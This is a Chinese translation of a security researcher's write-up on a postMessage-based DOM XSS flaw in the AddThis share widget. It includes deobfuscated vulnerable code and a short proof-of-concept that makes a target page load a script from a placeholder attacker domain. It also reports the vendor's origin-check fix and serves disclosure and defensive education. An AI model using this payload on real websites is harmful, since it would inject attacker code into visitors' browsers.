【国际资讯】超过百万网站拥有postMessage XSS漏洞

阅读量    71998 |   稿费 100

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

http://p8.qhimg.com/t01939171524b8670f3.png

翻译:派大星

预估稿费:100RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

前言

AddThis是一个被超过一百万网站使用的分享按钮。它们都在今年早些被发现有XSS漏洞。

在我上一篇文章(https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/)中我介绍了postMessage API的缺陷。在本篇文章中,我将介绍我是怎样在AddThis中确定和利用这些缺陷的。

当我在测试一个使用AddThis的网站的时候,通过Chrome的开发者工具,我发现它使用了postMessage。

http://p0.qhimg.com/t01724697e74bfc38e0.png

为了看看它们是否有任何漏洞,我在Chrome开发者工具的listener中设置了一个断点,然后发送了一个消息“window.postMessage("hello", "*")“。


检查listener

除了那些orgin必须是HTTP/HTTPS的页面,代码并没有进行orgin检查。消息的预期格式可以在第5364行看到:

at-share-bookmarklet:DATA.
postMessage

我继续debug,然后使用正确的格式发送了消息,使代码在5370行结束,调用了名为r的函数。它又调用了另一个名为s的函数。

http://p1.qhimg.com/t018dd1d3b02d0d932c.jpg

S函数看起来很有趣。它看起来创建了一个新的元素(难道是DOM XSS?)

http://p3.qhimg.com/t016abfbed3cd6dda64.jpg

 

反混淆

为了理解这个函数到底干了什么,我通过命名变量和删除多行语句来解除混淆。

e.exports = function(messageData, t, n, s, u, isTrue) {
if (!o[messageData] || isTrue) { //isTrue is 1 (true) when this function is called.
var scriptTag = document.createElement("script");
if("https:" === window.location.protocol){
var isSecurePage = true;
}else{
var isSecurePage = false;
}
var protocol = "";
var headElement = document.getElementsByTagName("head")[0];
scriptTag.setAttribute("type", "text/javascript");
scriptTag.setAttribute("async", "async");
//Check if user is using Chrome/Safari
if(window.chrome && window.chrome.self || window.safari && window.safari.extension){
if(isSecurePage){
protocol = "https";
}else{
protocol = "http";
}
//If the message data starts with "//", add protocol before
if(0 === messageData.indexOf("//")){
messageData = protocol + messageData;
}
}
//If the message data starts with "//"
if(0 === messageData.indexOf("//")){
scriptTag.src = messageData;
}else{
scriptTag.src = protocol + "//s7.addthis.com/" + messageData;
}
headElement.insertBefore(scriptTag, headElement.firstChild);
o[messageData] = 1;
return scriptTag;
}
return 1;
}

阅读了这个代码,我得出结论,发送格式化的消息如下:

at-share-bookmarklet://ATTACKERHOST/xss.js

它将添加一个新的脚本元素到源代码为“//ATTACKERDOMAIN/xss.js”的页面。换句话说,它有DOM XSS漏洞。


POC

攻击者能够攻击任何使用了AddThis的网站(DOM XSS)。我最后的exploit跟下面的这个差不多:

<iframe id="frame" src="https://targetpage/using_addthis"></iframe>
<script>
document.getElementById("frame").postMessage('at-share-bookmarklet://ATTACKERDOMAIN/xss.js', '*');
</script>

修复

我和AddThis的CTO接触了一下,他确定漏洞将会被很快修复然后推送到终端用户。修复增加了orgin检查以确保任意来源的消息不会被发送。


总结

总而言之,postMessage能够导致DOM XSS。如果你使用了第三方脚本,确保一定要检查它们和它们的postMessage实现。



分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多